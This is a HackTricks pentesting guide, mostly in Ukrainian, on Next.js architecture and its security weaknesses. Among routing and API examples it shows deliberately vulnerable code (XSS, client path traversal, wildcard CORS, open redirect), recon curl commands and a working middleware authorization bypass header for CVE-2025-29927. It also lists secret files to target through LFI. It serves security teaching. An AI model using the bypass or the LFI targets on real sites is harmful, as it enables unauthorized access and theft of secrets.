NextJS
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Загальна архітектура додатка Next.js
Типова структура файлів
Стандартний проект Next.js має певну структуру файлів і директорій, що забезпечує роботу таких можливостей, як маршрутизація, API endpoints та керування статичними ресурсами. Ось типовий вигляд:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Core Directories and Files
- public/: Розміщує статичні ресурси, такі як зображення, шрифти та інші файли. Файли в цій папці доступні за кореневим шляхом (
/). - app/: Центральний каталог для сторінок, layout-ів, компонентів та API-роутів вашого застосунку. Використовує парадигму App Router, що дозволяє розширені можливості маршрутизації й розмежування серверних та клієнтських компонентів.
- app/layout.tsx: Визначає кореневий layout для вашого застосунку, який охоплює всі сторінки та забезпечує послідовні UI-елементи, такі як заголовки, футери та панелі навігації.
- app/page.tsx: Служить точкою входу для кореневого маршруту
/, відображаючи домашню сторінку. - app/[route]/page.tsx: Обробляє статичні та динамічні маршрути. Кожна папка в
app/представляє сегмент маршруту, аpage.tsxв цих папках відповідає компоненту маршруту. - app/api/: Містить API-роути, що дозволяють створювати serverless-функції для обробки HTTP-запитів. Ці маршрути замінюють традиційну директорію
pages/api. - app/components/: Містить повторно використовувані React-компоненти, які можна використовувати на різних сторінках та layout-ах.
- app/styles/: Містить глобальні CSS-файли та CSS Modules для стилізації, прив’язаної до компонентів.
- app/utils/: Містить утиліти, допоміжні модулі та іншу не-UI логіку, яка може бути спільною для застосунку.
- .env.local: Зберігає змінні середовища, специфічні для локального середовища розробки. Ці змінні не комітяться до системи контролю версій.
- next.config.js: Налаштовує поведінку Next.js, включаючи конфігурації webpack, змінні середовища та налаштування безпеки.
- tsconfig.json: Налаштовує параметри TypeScript для проєкту, вмикаючи перевірку типів та інші функції TypeScript.
- package.json: Керує залежностями проєкту, скриптами та метаданими.
- README.md: Надає документацію та інформацію про проєкт, включно з інструкціями з налаштування, рекомендаціями щодо використання та іншими відповідними деталями.
- yarn.lock / package-lock.json: Фіксують версії залежностей проєкту, забезпечуючи консистентність інсталяцій у різних середовищах.
Client-Side in Next.js
File-Based Routing in the app Directory
The app directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.
Обробка кореневого шляху /
Структура файлів:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Ключові файли:
app/page.tsx: Обробляє запити до кореневого шляху/.app/layout.tsx: Визначає макет для застосунку, що обгортає всі сторінки.
Реалізація:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Пояснення:
- Визначення маршруту: файл
page.tsx, розташований безпосередньо в директоріїapp, відповідає маршруту/. - Відображення: цей компонент відображає вміст головної сторінки.
- Інтеграція макета: компонент
HomePageобгорнутий уlayout.tsx, який може включати заголовки, футери та інші спільні елементи.
Обробка інших статичних шляхів
Приклад: маршрут /about
Структура файлів:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Реалізація:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Пояснення:
- Визначення маршруту: Файл
page.tsxвсередині папкиaboutвідповідає маршруту/about. - Відображення: Цей компонент відображає вміст для сторінки
about.
Динамічні маршрути
Динамічні маршрути дозволяють обробляти шляхи зі змінними сегментами, що дає змогу додаткам відображати вміст на основі параметрів, таких як ID, slug тощо.
Приклад: /posts/[id] маршрут
Структура файлів:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Реалізація:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Пояснення:
- Dynamic Segment:
[id]позначає динамічний сегмент у маршруті, що захоплює параметрidз URL. - Accessing Parameters: Об’єкт
paramsмістить динамічні параметри, доступні всередині компонента. - Route Matching: Будь-який шлях, що відповідає
/posts/*, наприклад/posts/1,/posts/abcтощо, буде оброблений цим компонентом.
Вкладені маршрути
Next.js підтримує вкладені маршрути, що дозволяє створювати ієрархічні структури маршрутів, які відповідають розташуванню файлів у каталогах.
Приклад: маршрут /dashboard/settings/profile
Структура файлів:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Реалізація:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Пояснення:
- Глибока вкладеність: Файл
page.tsxвсерединіdashboard/settings/profile/відповідає маршруту/dashboard/settings/profile. - Відображення ієрархії: Структура директорій відображає URL-шлях, підвищуючи підтримуваність і зрозумілість.
Catch-All маршрути
Catch-all маршрути обробляють кілька вкладених сегментів або невідомі шляхи, забезпечуючи гнучкість у маршрутизації.
Приклад: /* маршрут
Структура файлів:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Реалізація:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Пояснення:
- Catch-All Segment:
[...slug]захоплює всі залишкові сегменти шляху у вигляді масиву. - Використання: Корисно для обробки сценаріїв динамічного роутингу, таких як шляхи, створені користувачами, вкладені категорії тощо.
- Відповідність маршрутів: Шляхи на кшталт
/anything/here,/foo/bar/bazтощо обробляються цим компонентом.
Потенційні вразливості на стороні клієнта
Хоча Next.js забезпечує безпечну основу, неналежні практики кодування можуть вводити вразливості. Основні вразливості на стороні клієнта включають:
Cross-Site Scripting (XSS)
XSS attacks occur when malicious scripts are injected into trusted websites. Атакувальники можуть виконувати скрипти в браузерах користувачів, викрадати дані або виконувати дії від імені користувача.
Приклад вразливого коду:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Чому це вразливо: Using dangerouslySetInnerHTML with untrusted input allows attackers to inject malicious scripts.
Client-Side Template Injection
Виникає, коли введені користувачем дані неправильно обробляються в шаблонах, що дозволяє зловмисникам вводити та виконувати шаблони або вирази.
Приклад вразливого коду:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Чому це вразливо: Якщо template або data містять шкідливий вміст, це може призвести до виконання небажаного коду.
Client Path Traversal
Це вразливість, яка дозволяє атакувальникам маніпулювати client-side шляхами для виконання небажаних дій, таких як Cross-Site Request Forgery (CSRF). На відміну від server-side path traversal, який націлюється на файлову систему сервера, CSPT зосереджується на використанні client-side механізмів для перенаправлення легітимних API-запитів на шкідливі endpoints.
Приклад вразливого коду:
Додаток Next.js дозволяє користувачам upload і download файли. Функція download реалізована на client side, де користувачі можуть вказати file path для скачування.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Attack Scenario
- Attacker’s Objective: Виконати CSRF-атаку, щоб видалити критичний файл (наприклад,
admin/config.json) шляхом маніпуляціїfilePath. - Exploiting CSPT:
- Malicious Input: Зловмисник формує URL з маніпульованим
filePath, наприклад../deleteFile/config.json. - Resulting API Call: Код на клієнті робить запит до
/api/files/../deleteFile/config.json. - Server’s Handling: Якщо сервер не валідовує
filePath, він обробляє запит, що може призвести до видалення або розкриття конфіденційних файлів.
- Executing CSRF:
- Crafted Link: Зловмисник надсилає жертві посилання або вбудовує шкідливий скрипт, який ініціює запит з маніпульованим
filePath. - Outcome: Жертва ненавмисно виконує дію, що призводить до несанкціонованого доступу до файлів або їх видалення.
Why It’s Vulnerable
- Lack of Input Validation: Клієнтська частина дозволяє довільні значення
filePath, що дає змогу path traversal. - Trusting Client Inputs: API на сервері довіряє і обробляє
filePathбез санітизації. - Potential API Actions: Якщо endpoint API виконує зміни стану (наприклад, delete, modify files), його можна експлуатувати через CSPT.
Recon: static export route discovery via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Використовуйте виявлені шляхи (наприклад
/docs,/docs/content/examples,/signin) щоб провести auth testing і endpoint discovery.
Серверна частина в Next.js
Рендеринг на стороні сервера (SSR)
Сторінки рендеряться на сервері для кожного запиту, що гарантує, що користувач отримує повністю згенерований HTML. У цьому випадку слід створити власний сервер для обробки запитів.
Випадки використання:
- Динамічний контент, який часто змінюється.
- Оптимізація для SEO, оскільки пошукові системи можуть сканувати повністю відрендерену сторінку.
Реалізація:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Static Site Generation (SSG)
Сторінки попередньо генеруються під час збірки, що призводить до швидшого завантаження та зменшеного навантаження на сервер.
Випадки використання:
- Контент, який рідко змінюється.
- Блоги, документація, маркетингові сторінки.
Реалізація:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Безсерверні функції (API маршрути)
Next.js дозволяє створювати кінцеві точки API як безсерверні функції. Ці функції виконуються на вимогу без потреби у виділеному сервері.
Випадки використання:
- Обробка відправлень форм.
- Взаємодія з базами даних.
- Обробка даних або інтеграція з API сторонніх сервісів.
Реалізація:
З появою директорії app у Next.js 13 маршрутизація та обробка API стали більш гнучкими та потужними. Цей сучасний підхід тісно відповідає файловій системі маршрутизації, але вводить розширені можливості, включаючи підтримку серверних і клієнтських компонентів.
Базовий обробник маршруту
Структура файлів:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Реалізація:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Пояснення:
- Розташування: Маршрути API розміщені в директорії
app/api/. - Іменування файлів: Кожен API-ендпойнт знаходиться в окремій папці, що містить файл
route.jsабоroute.ts. - Експортовані функції: Замість єдиного експорту за замовчуванням експортуються конкретні функції для HTTP-методів (наприклад,
GET,POST). - Обробка відповіді: Використовуйте конструктор
Responseдля повернення відповідей, що дає більше контролю над заголовками та статус-кодами.
Як обробляти інші шляхи та методи:
Обробка конкретних HTTP-методів
Next.js 13+ дозволяє визначати обробники для конкретних HTTP-методів у тому ж файлі route.js або route.ts, що сприяє більш зрозумілому та організованому коду.
Приклад:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Пояснення:
- Кілька експортів: Для кожного HTTP-методу (
GET,PUT,DELETE) визначена власна експортована функція. - Параметри: Другий аргумент надає доступ до параметрів маршруту через
params. - Розширені відповіді: Більший контроль над об’єктами відповіді, що дозволяє точно керувати заголовками та кодами статусу.
Catch-All та вкладені маршрути
Next.js 13+ підтримує розширені можливості роутингу, такі як catch-all маршрути та вкладені API-маршрути, що дозволяє створювати більш динамічні та масштабовані структури API.
Приклад catch-all маршруту:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Пояснення:
- Синтаксис:
[...]позначає catch-all сегмент, який захоплює всі вкладені шляхи. - Використання: Корисно для API, які мають обробляти змінну глибину маршрутів або динамічні сегменти.
Приклад вкладених маршрутів:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Пояснення:
- Глибоке вкладення: Дозволяє створювати ієрархічні структури API, що відображають відносини між ресурсами.
- Доступ до параметрів: Легко отримувати кілька параметрів маршруту через об’єкт
params.
Обробка API маршрутів у Next.js 12 та раніших версіях
API маршрути в директорії pages (Next.js 12 та раніші версії)
До того, як Next.js 13 представив директорію app та розширені можливості маршрутизації, API маршрути здебільшого визначалися в директорії pages. Цей підхід досі широко використовується та підтримується у Next.js 12 та раніших версіях.
Базовий API маршрут
Структура файлів:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Реалізація:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Пояснення:
- Розташування: Маршрути API розміщені в директорії
pages/api/. - Експорт: Використовуйте
export defaultдля визначення функції-обробника. - Підпис функції: Обробник отримує об’єкти
req(HTTP request) таres(HTTP response). - Маршрутизація: Ім’я файлу (
hello.js) відповідає маршруту/api/hello.
Динамічні API-маршрути
Структура файлів:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Реалізація:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Пояснення:
- Динамічні сегменти: Квадратні дужки (
[id].js) позначають динамічні сегменти маршруту. - Доступ до параметрів: Використовуйте
req.query.idщоб отримати динамічний параметр. - Обробка методів: Використовуйте умовну логіку для обробки різних HTTP-методів (
GET,PUT,DELETEтощо).
Обробка різних HTTP-методів
Хоча базовий приклад API-роуту обробляє всі HTTP-методи в межах однієї функції, ви можете структурувати код так, щоб явно обробляти кожен метод для кращої читабельності та підтримуваності.
Приклад:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Найкращі практики:
- Розділення відповідальностей: Чітко розділяйте логіку для різних HTTP-методів.
- Послідовність відповідей: Забезпечте послідовну структуру відповідей для полегшення обробки на стороні клієнта.
- Обробка помилок: Коректно обробляйте непідтримувані методи та несподівані помилки.
Налаштування CORS
Контролюйте, які origins можуть отримувати доступ до ваших API-маршрутів, зменшуючи вразливості Cross-Origin Resource Sharing (CORS).
Поганий приклад конфігурації:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Зауважте, що CORS також можна налаштувати в усіх API routes у файлі middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Проблема:
Access-Control-Allow-Origin: '*': Дозволяє будь-якому сайту отримувати доступ до API, потенційно дозволяючи зловмисним сайтам взаємодіяти з вашим API без обмежень.- Wide Method Allowance: Дозвіл усіх методів може дозволити зловмисникам виконувати небажані дії.
Як зловмисники це експлуатують:
Зловмисники можуть створювати шкідливі вебсайти, які роблять запити до вашого API, потенційно зловживаючи функціями, такими як отримання даних, маніпуляція даними або запуск небажаних дій від імені автентифікованих користувачів.
CORS - Misconfigurations & Bypass
Server code exposure in Client Side
Цілком можливо випадково use code used by the server also in code exposed and used by the client side, найкращий спосіб переконатися, що файл коду ніколи не буде доступний на client side — додати цей import на початку файлу:
import "server-only"
Ключові файли та їхні ролі
middleware.ts / middleware.js
Location: Корінь проекту або в папці src/.
Purpose: Виконує код на серверній стороні (serverless function) перед обробкою запиту, що дозволяє виконувати такі завдання, як автентифікація, редиректи або змінення відповідей.
Execution Flow:
- Incoming Request: middleware перехоплює запит.
- Processing: Виконує операції на основі запиту (наприклад, перевірка автентифікації).
- Response Modification: Може змінити відповідь або передати керування наступному обробнику.
Example Use Cases:
- Редирект неавторизованих користувачів.
- Додавання користувацьких заголовків.
- Логування запитів.
Sample Configuration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
Якщо authorization реалізовано в middleware, уражені релізи Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) можна обійти, додавши заголовок x-middleware-subrequest. Фреймворк пропустить рекурсію middleware і поверне захищену сторінку.
- За замовчуванням типова поведінка — 307 redirect до маршруту входу, наприклад
/api/auth/signin. - Надішліть довге значення
x-middleware-subrequest(повторюйтеmiddleware, щоб досягтиMAX_RECURSION_DEPTH), щоб змінити відповідь на 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Оскільки авторизовані сторінки підвантажують багато субресурсів, додайте заголовок до кожного запиту (наприклад, Burp Match/Replace з порожнім рядком для відповідності), щоб assets не перенаправлялися.
next.config.js
Location: Корінь проєкту.
Purpose: Налаштовує поведінку Next.js, увімкнення чи вимкнення функцій, кастомізацію конфігурацій webpack, встановлення змінних середовища та налаштування кількох функцій безпеки.
Key Security Configurations:
Security Headers
Заголовки безпеки підвищують захищеність вашого застосунку, вказуючи браузерам, як обробляти вміст. Вони допомагають пом’якшити різні атаки, такі як Cross-Site Scripting (XSS), Clickjacking, and MIME type sniffing:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Examples:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Налаштування оптимізації зображень
Next.js оптимізує зображення для продуктивності, але неправильні конфігурації можуть призвести до вразливостей безпеки, наприклад дозволяючи ненадійним джерелам вставляти шкідливий вміст.
Поганий приклад конфігурації:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Проблема:
'*': Дозволяє завантажувати зображення з будь-якого зовнішнього джерела, включно з ненадійними або зловмисними доменами. Зловмисники можуть розміщувати зображення, які містять шкідливі payloads або контент, що вводить користувачів в оману.- Ще однією проблемою може бути дозволити домен де будь-хто може завантажити зображення (наприклад,
raw.githubusercontent.com)
Як зловмисники це використовують:
Підвантажуючи зображення з зловмисних джерел, зловмисники можуть виконувати phishing attacks, показувати вводящу в оману інформацію або exploit vulnerabilities у бібліотеках рендерингу зображень.
Витік змінних середовища
Керуйте конфіденційною інформацією, такою як API keys та database credentials, безпечно, не передаючи її клієнту.
a. Розкриття конфіденційних змінних
Поганий приклад конфігурації:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}
Проблема:
SECRET_API_KEY: Без префіксуNEXT_PUBLIC_Next.js не робить змінні доступними для клієнта. Однак якщо випадково додати префікс (наприклад,NEXT_PUBLIC_SECRET_API_KEY), він стає доступним на клієнтській стороні.
Як зловмисники це використовують:
Якщо конфіденційні змінні доступні клієнту, зловмисники можуть отримати їх, переглянувши клієнтський код або мережеві запити, здобуваючи несанкціонований доступ до API, баз даних або інших сервісів.
Перенаправлення
Керуйте URL-перенаправленнями та перезаписами (rewrites) у вашому додатку, забезпечуючи правильне спрямування користувачів без створення вразливостей open redirect.
a. Open Redirect Vulnerability
Поганий приклад конфігурації:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Проблема:
- Dynamic Destination: Дозволяє користувачам вказувати будь-яку URL-адресу, що дозволяє open redirect attacks.
- Trusting User Input: Перенаправлення на URL, надані користувачами, без валідації може призвести до phishing, malware distribution або credential theft.
Як зловмисники це використовують:
Зловмисники можуть створювати URL, які виглядають ніби походять з вашого домену, але перенаправляють користувачів на шкідливі сайти. Наприклад:
https://yourdomain.com/redirect?url=https://malicious-site.com
Користувачі, які довіряють оригінальному домену, можуть ненавмисно перейти на шкідливі вебсайти.
Конфігурація Webpack
Налаштування конфігурацій Webpack для вашого додатку Next.js може ненавмисно призвести до вразливостей безпеки, якщо діяти необережно.
a. Відкриття доступу до чутливих модулів
Поганий приклад конфігурації:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Проблема:
- Розкриття чутливих шляхів: Aliasing чутливих директорій та надання доступу з client-side можуть leak конфіденційну інформацію.
- Bundling Secrets: Якщо чутливі файли включені в bundle для клієнта, їхній вміст стає доступним через source maps або інспекцію client-side коду.
Як зловмисники це використовують:
Зловмисники можуть отримати доступ до або реконструювати структуру директорій додатку, потенційно знаходячи та використовуючи чутливі файли або дані.
pages/_app.js та pages/_document.js
pages/_app.js
Призначення: Замінює компонент App за замовчуванням, дозволяючи глобальний стан, стилі та компоненти layout.
Випадки використання:
- Підключення глобального CSS.
- Додавання layout-обгорток.
- Інтеграція бібліотек управління станом.
Приклад:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Purpose: Перевизначає стандартний Document, дозволяючи налаштувати теги <html> та <body>.
Use Cases:
- Зміна тегів
<html>або<body>. - Додавання meta-тегів або користувацьких скриптів.
- Інтеграція сторонніх шрифтів.
Example:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Користувацький сервер (необов’язково)
Мета: Хоча Next.js постачається з вбудованим сервером, ви можете створити користувацький сервер для просунутих випадків використання, таких як кастомна маршрутизація або інтеграція з існуючими бекенд-сервісами.
Примітка: Використання користувацького сервера може обмежити варіанти розгортання, особливо на платформах на кшталт Vercel, які оптимізовані під вбудований сервер Next.js.
Приклад:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Додаткові архітектурні та безпекові міркування
Змінні середовища та конфігурація
Призначення: Керування конфіденційною інформацією та налаштуваннями конфігурації поза кодовою базою.
Кращі практики:
- Use
.envFiles: Зберігайте змінні, такі як API keys, у.env.local(виключено з контролю версій). - Access Variables Securely: Використовуйте
process.env.VARIABLE_NAMEдля доступу до змінних середовища. - Never Expose Secrets on the Client: Переконайтеся, що конфіденційні змінні використовуються лише на серверній стороні.
Приклад:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Примітка: Щоб обмежити змінні лише серверною стороною, не додавайте їх у об’єкт env або додайте префікс NEXT_PUBLIC_ для їх доступу з клієнта.
Корисні серверні артефакти для цільових операцій через LFI/download endpoints
Якщо ви знаходите path traversal або download API у Next.js додатку, націльтеся на скомпільовані артефакти, які leak серверні секрети та логіку автентифікації:
.env/.env.localдля секретів сесій та облікових даних провайдерів..next/routes-manifest.jsonand.next/build-manifest.json— для повного списку маршрутів..next/server/pages/api/auth/[...nextauth].jsщоб відновити скомпільовану конфігурацію NextAuth (часто містить fallback passwords коли значенняprocess.envне встановлені).next.config.js/next.config.mjs— для перегляду rewrites, redirects і middleware routing.
Аутентифікація та авторизація
Підхід:
- Session-Based Authentication: Використовуйте cookies для керування сесіями користувачів.
- Token-Based Authentication: Реалізуйте JWTs для безстанної аутентифікації.
- Third-Party Providers: Інтегруйтеся з OAuth провайдерами (наприклад, Google, GitHub) за допомогою бібліотек, таких як
next-auth.
Практики безпеки:
- Secure Cookies: Встановлюйте атрибути
HttpOnly,Secure, таSameSite. - Password Hashing: Завжди хешуйте паролі перед збереженням.
- Input Validation: Запобігайте ін’єкційним атакам, валідуючи та санітизуючи введені дані.
Приклад:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Оптимізація продуктивності
Стратегії:
- Оптимізація зображень: Використовуйте компонент Next.js
